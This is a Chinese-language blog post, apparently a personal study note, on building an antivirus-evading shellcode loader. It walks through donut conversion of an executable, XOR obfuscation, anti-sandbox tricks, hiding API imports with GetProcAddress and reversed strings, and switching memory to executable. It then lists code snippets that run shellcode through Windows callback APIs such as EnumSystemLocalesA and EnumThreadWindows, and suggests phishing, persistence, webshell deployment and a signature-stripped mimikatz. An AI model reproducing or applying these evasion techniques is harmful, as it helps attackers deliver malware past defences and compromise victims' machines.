vt全免杀加载器

加密器分析

先用donut将exe文件转换为raw.bin文件

然后用python脚本混淆+异或来进行加密生成shellcode-ptiti.txt

源码

main中做了填充垃圾数据和

对抗沙箱的处理手段

1
如果没有shellcode的话也不会直接退出   

run就是获取size 获取文件 申请内存为可读写

callback执行内存

编译注意事项

想法优点

需要ico,基于机器学习的杀软会根据默认图标来直接判断为病毒,如果是知名的图标但没有对应签名也会报毒,最好自己制作图标

注意要x64位的,杀软对x64能力没有x32强,对应exe和shellcode也要是x64位

//解决在其他目录调用exe可能会找不到文件的问题写了一套代码

申请内存为可读写,避免可读可写可执行的敏感内存属性

/使用 GetProcAddress 来动态调用 api,隐藏导入表

xor解密逐个字节写入,防止一次性写入被发现敏感数据

1
2
//如果文件不存在则做一道算术题,用来对抗沙盒,如果直接退出会被机器学习的杀软判断为病毒
//如用 GetTickCount 来判断开机时间的方式反沙盒会导致更多报毒

使用

使用的时候就是VThello和ptiti.txt要放在同一目录下 可能还需要加一些dll文件(原因在”编译注意事项”)里面有写

改进

感觉就是分离加载器?

把受众不多的加载器弄上去 当然vt=0了

==并没有把shellcode包含在载荷中 不够便捷==

==当然这都是可以通过winrar修复的==

==用来钓鱼的话就用winrar做成单文件==

更有用的是可以用来权限维持和落地和装在webshell服务器这些

1
2
3
4
5
6
//利用反转字符串防止出现敏感字符
char ppp[] = "collAlautriV";
strrev(ppp);

这就有个思考 如果反病毒程序在每次动态执行后做个静态检测是不是防病毒率更高 虽然代价也不低

encrypt混淆异或加密有点慢 hackbrowserdat(7m)差不多需要加密两个小时 有没有什么改进代码方法把它加密快一点?

疑惑

image-20220914195239511

这里指的callback是哪个?

线分析一下

(int)(data)把data转成指向整型的指针值,只是一个类型转换,用来指示编译器后续的操作,最前面的*用来获取这个指针值指向的地址里存储的整型数,所以这个运算的结果返回的是int类型的值。

这也跟回调函数的概念差不多,用到了指针,地址。类型等概念

1
(* (int *) (addr)) 

就是将addr转换为指向int的指针

但是用例里面的是这个

1
(*(int(*)()) addr)();

这个addr是在外面的

这里的意思可能就是((int()())形成回调函数去回调执行前面的addr函数

至于后面的();就是样式形式而已image-20220915150921407

那我们改一下吧

为了避免直接调用syscall,我们可以通过利用这种较为冷门的API函数来执行内存中的shellcode同样可以避开杀软的监控,通过callback方式来触发执行shellcode的方式可以参考:

https://www.freebuf.com/articles/web/269158.html

1
2
3
4
5
6
7
8
9
10
11
12
13
1.EnumTimeFormatsA
2.EnumWindows
3.EnumDesktopWindows
4.EnumDateFormatsA
5.EnumChildWindows
6.EnumThreadWindows
7.EnumSystemLocales
8.EnumSystemGeoID
9.EnumSystemLanguageGroupsA
10.EnumUILanguagesA
11.EnumSystemCodePagesA
12.EnumDesktopsW
13.EnumSystemCodePagesW

但是要注意:不是直接替换函数需要对照函数的参数来修改,需要参考库函数的格式。

https://www.xuebawang.net/t/1301==很适合以后看着学怎么找此类回调函数api==

https://github.com/trhacknon/Shellcode-Loader/==这个可以查函数结构,方便自己写免杀==

1.EnumSystemLocalesA((LOCALE_ENUMPROCA)addr, 0);

2.有的时候会有参数类型不兼容的情况

image-20220915165303540

要么就尝试修改参数类型 要么就用别的函数

addr是LPVOID原因是上面

1
2
3
4
5
typedef LPVOID(WINAPI* VP)(LPVOID lpAddress,SIZE_T dwSize,DWORD  flNewProtect,PDWORD lpflOldProtect);
char ttt[] = "tcetorPlautriV";
strrev(ttt);
VP pVP = (VP)GetProcAddress(GetModuleHandle(L"kernel32.dll"), ttt);
pVP(addr, size, PAGE_EXECUTE_READWRITE, &ad_opro);

一层一层执行传送给它的

LPVOID是一个没有类型的指针,也就是说你可以将LPVOID类型的变量赋值给任意类型的指针

那么我们试试==强制类型转换==

首先得找到==LANGGROUPLOCALE_ENUMPROCA的形参==是啥

3.EnumSystemGeoID(GEOCLASS_NATION, 0, (GEO_ENUMPROC)addr);image-20220915170941741

直接去上面那个github链接看一下这个EnumSystemGeoID函数的用法

==当然其实我们看结构体里面的lpLanguageGroupEnumProc就是我们回调填写的地方==

然后直接写进去

4.再来一个 找到lpLanguageGroupEnumProc 根据github提示添加bool

image-20220915171958861

再去看msdn

和各类对应值直接写入

1
EnumSystemLanguageGroupsA(addr,0,0);

image-20220915172344192

好吧这里也是不兼容 其实就是他是bool的原因image-20220915172421369

这里也写了

那不搞了 反正都会了

当然可以用以前我自己的那个mimikatz去掉特征然后用dount转换成shellcode再用这些方法

补充找到这些回调函数使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)addr, 0);

EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)addr, 0, 0);

LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)addr, 0);

EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)addr,0);

EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)addr,(LPARAM)0);

GrayString(0, 0, (GRAYSTRINGPROC)(char *)addr, 1, 2, 3, 4, 5, 6);

CallWindowProc((WNDPROC)(char *)addr, (HWND)0, 0, 0, 0);

EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)addr, 0);

全都是可以的

后面找到更好的 可以无创建新线程 如下

1
EnumThreadWindows(0, (WNDENUMPROC)addr, 0);//好东西,当然上面也有

vt全免杀加载器
http://example.com/vt全免杀加载器.html
Author
CDxiaodong
Posted on
October 29, 2022
Licensed under